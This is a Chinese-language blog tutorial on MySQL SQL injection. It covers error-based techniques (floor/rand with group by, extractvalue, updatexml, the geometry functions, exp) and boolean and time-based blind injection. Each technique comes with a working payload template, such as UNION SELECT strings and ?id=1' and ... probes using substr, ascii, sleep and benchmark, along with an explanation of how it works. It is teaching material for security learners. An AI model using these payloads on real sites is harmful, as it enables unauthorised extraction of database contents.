请先阅读博客内的《SQL注入基础详解》文章,在对SQL注入有个基本的了解后,我在此文章中讲述SQL注入中针对特殊环境所用的其它注入方法。
报错注入
利用环境
如果网站关闭了回显,则我们的注入结果都不会返回到前端。但如果服务端能返回数据库错误信息,这时,我们可以人为制造数据库错误,让服务端返回错误信息,并带出敏感信息。
与报错注入相关的注入函数:
floor()
extractvalue()
updataxml()
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
exp()
floor()
错误:
主键重复
关键函数:
count(*),floor(),group by
注入模板:
UNION SELECT 1,count(*),group_concat(user(),0x20,version(),0x20,floor(rand(0)*2))x from information_schema.tables group by x#
要素分析:
– floor()
向下取整
– rand()
产生0至1的随机数
– floor(rand(0)*2)
记录需为3条以上,且3条以上必报错,返回值有规律的,如011011…
– count(*)
是用来统计结果,相当于刷新一次结果
– group by
在对数据进行分组时会先看看虚拟表里面有没有这个值,没有的话就插入存在的话就count(*)
加1,在使用group by
时floor(rand(0)*2)
会被执行一次,若虚拟表不存在记录,插入虚拟表时会再执行一次。
– x
是前面括号内容的别名,sql语句要求在查询结果的基础上再执行查询时,必须给定一个别名。
过程分析:
– 首先floor(rand(0)*2)
由于确定性,所以语句每次执行都会报错
– MySQL在执行类似select count(*) from tables group by x;
这类语句时会建立一个虚拟表。
– 取第一条记录,执行floor(rand(0)*2)
,发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)
会被再计算一次,结果为1(第二次计算),插入虚表,这是第一条记录
– 查询第二条记录,再次计算floor(rand(0)*2)
,发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)
不会被计算第二次,直接count(*)加1,第二条记录查询完毕查询完毕
– 查询第三条记录,再次计算floor(rand(0)*2)
,发现结果为0(第四次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)
被再次计算,作为虚表的主键,其值为1(第五次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了
其中的虚拟表是由count(*)
和group by
产生的用来排序用的临时表。
带出的结果后面均带有1
,需要手动去掉。
整个查询过程floor(rand(0)*2)
被计算了5次,查询原数据表3次,所以数据表中至少要有3条数据,使用该语句才能触发报错。
参考资料:
https://www.cnblogs.com/xdans/p/5412468.html
extractvalue()&updatexml()
错误:
xpath语法错误
注入模板:
extractvalue(1,concat(0x5c,user()))
updatexml(1,concat(0x5c,user()),1)
要素分析:
– extractvalue()
对文档进行查询的函数,语法:extractvalue(目标xml文档,xml路径)
– updatexml()
对文档进行更新的函数,语法:updatexml(目标xml文档,xml路径,更新的内容)
原理分析:
这两个函数的第二个参数都是xpath
,如果语句不符合要求则会报错,并且将查询结果放到报错信息里面。
geometrycollection()&multipoint()&polygon()&multipolygon()&linestring()&multilinestring()
错误:
几何函数
应用范围:
在版本号为5.5.47上可以用来注入,在5.7.17上则不行。
注入模板:
GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())a)b))
multilinestring((select * from(select * from(select user())a)b))
LINESTRING((select * from(select * from(select user())a)b))
multipolygon((select * from(select * from(select user())a)b))
原理分析:
这些函数都是对空间几何值进行操作,当出现非法的非几何值就会报错,可以直接爆所在数据库名,表名。
exp()
错误:
数据溢出
应用范围:
MySQL版本>=5.5.5
注入模板:
Exp(~(select * from (select version())a))
要素分析:
– exp()
是以e为底的指数函数
– BIGINT
存储整型最大值为18446744073709551615
– ~
反引号逐位取反,~0
即为18446744073709551615
– exp(709)
往上会造成溢出
– MySQL子查询成功时会返回0
,进行逻辑非运算可取1
原理分析:
– 当BIGINT
最大值进行增值运算的时候,会爆出BIGINT value is out of range的错误,也就是溢出。
– 将0按位取反得最大值,与子查询进行逻辑非运算后的返回值进行增运算,若子查询成功则触发溢出报错
详细操作过程及原理分析:
http://vinc.top/?p=1023
基于布尔型注入
利用环境
网站没有任何返回信息,甚至关闭了报错信息。
与布尔型注入相关的函数:
left()
substr()
ascii()
length()
要素分析:
– left(str,x)
返回str的前x位
– substr(str,start,length)
返回从str的start位置截取length长度的字符串
– ascii(str)
返回str的ascii码
– length(str)
返回str的长度
– limit x,y
,x为起始位置,y为提取数量
– IF(x=y,a,b)
,如果判断正确,返回a,否则返回b
– sleep(x)
,休眠x秒
思路分析:
– 先用length()猜测目标的长度
– 根据目标长度对目标逐个字符进行对比猜测
– 使用不同方法区分返回值(布尔)
演示模板:
– 基于页面的布尔判断,比较网页返回结果
?id=1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=N# //不断递增N直到返回正确
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103# //使用二分法猜测
- 基于响应时间的布尔判断,比较响应时长(自己设置)的区别
?id=1'and IF(length(user())=5,sleep(5),1)# //查询为真,系统休眠5秒,查询为假则直接返回
?id=1'and IF(length(user())=5,benchmark(1000000,md5(aaaaaa)),1)# //执行耗时任务,增长数据库响应时间
二次注入
结尾
仍然有很多未接触未了解的注入方式,期待后续更新。
文中引用,侵删。